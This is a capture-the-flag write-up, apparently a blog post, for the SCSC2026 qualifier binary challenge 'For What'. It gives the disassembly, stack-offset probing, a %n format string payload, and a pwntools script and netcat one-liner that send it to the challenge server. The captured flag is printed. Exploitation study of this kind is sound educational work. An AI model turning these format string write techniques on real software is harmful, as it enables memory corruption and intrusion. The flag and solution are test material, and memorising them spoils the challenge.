427 words
2 minutes
SCSC2026 Quals - For What - Binary Exploitation Writeup
Category: Binary Exploitation
Server: nc 43.128.69.211 13001
Flag: scsc26{f0rmat_0uTpUT_15_vULn3R4Bl3}
Challenge Description
A 32-bit binary with a format string vulnerability. Exploit it to read the flag.
Binary Analysis
$ file format
format: ELF 32-bit LSB executable, Intel 80386, dynamically linked, not stripped
$ checksec --file=format
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)Disassembly Analysis (vuln function)
vuln:
push ebp
mov ebp, esp
sub esp, 0x208 ; allocate buffer space
; fgets(buffer, 0x200, stdin)
lea eax, [ebp-0x205] ; buffer address
push stdin
push 0x200
push eax
call fgets
; printf(buffer) - VULNERABLE! No format string
lea eax, [ebp-0x205]
push eax
call printf ; Format string vulnerability here
; Check if target == 0x60 (96)
mov eax, [0x804c06c] ; target variable
cmp eax, 0x60
jne fail
; WIN: Open and print flag.txt
push "r"
push "flag.txt"
call fopen
; ... reads and prints flag
fail:
; Print "target is %d :("
push eax
push "target is %d :("
call printfKey Addresses
targetvariable:0x804c06c(in .bss section)- Target value needed:
0x60(96 decimal)
Vulnerability
The vuln() function passes user input directly to printf() without a format string:
printf(buffer); // Should be: printf("%s", buffer);This allows an attacker to:
- Read from the stack using
%xor%p - Write to arbitrary memory using
%n
Exploitation Strategy
Goal: Write 0x60 (96) to the target variable at 0x804c06c
The %n format specifier writes the count of characters printed so far to an address on the stack.
Step 1: Find stack offset
$ echo 'AAAA%1$x' | ./format
AAAA200
$ echo 'AAAA%2$x' | ./format
AAAA25414141 # 0x25414141 = "%AAA" - our input (misaligned by 1 byte)The input buffer starts at offset 2, but is misaligned by 1 byte.
Step 2: Fix alignment
$ echo 'XAAAA%2$x' | ./format
XAAAA41414141 # 0x41414141 = "AAAA" - perfectly aligned!Adding a 1-byte prefix (X) aligns our address at offset 2.
Step 3: Craft payload
Payload structure:
X - 1 byte alignment padding
\x6c\xc0\x04\x08 - target address (little endian)
%91x - print 91 more chars (1+4+91 = 96 = 0x60)
%2$n - write char count to address at stack offset 2Exploit
#!/usr/bin/env python3
from pwn import *
# Target address (little endian)
target_addr = p32(0x804c06c)
# Payload:
# X (1 byte) + addr (4 bytes) = 5 chars
# Need 96 total, so pad with 91 more: %91x
# Write to offset 2: %2$n
payload = b"X" + target_addr + b"%91x%2$n"
# Local test
# p = process("./format")
# Remote
p = remote("43.128.69.211", 13001)
p.sendline(payload)
print(p.recvall().decode())One-liner:
python3 -c 'import sys; sys.stdout.buffer.write(b"X\x6c\xc0\x04\x08%91x%2\x24n\n")' | nc 43.128.69.211 13001Output
Xl� 58000000
scsc26{f0rmat_0uTpUT_15_vULn3R4Bl3}Format String Attack Summary
| Specifier | Purpose |
|---|---|
%x | Leak stack values (hex) |
%s | Read string at address on stack |
%n | Write number of printed chars to address |
%N$x | Access Nth argument directly |
%Nc | Print N characters (for padding) |
SCSC2026 Quals - For What - Binary Exploitation Writeup
https://blog.rei.my.id/posts/18/scsc2026-quals-for-what-binary-exploitation-writeup/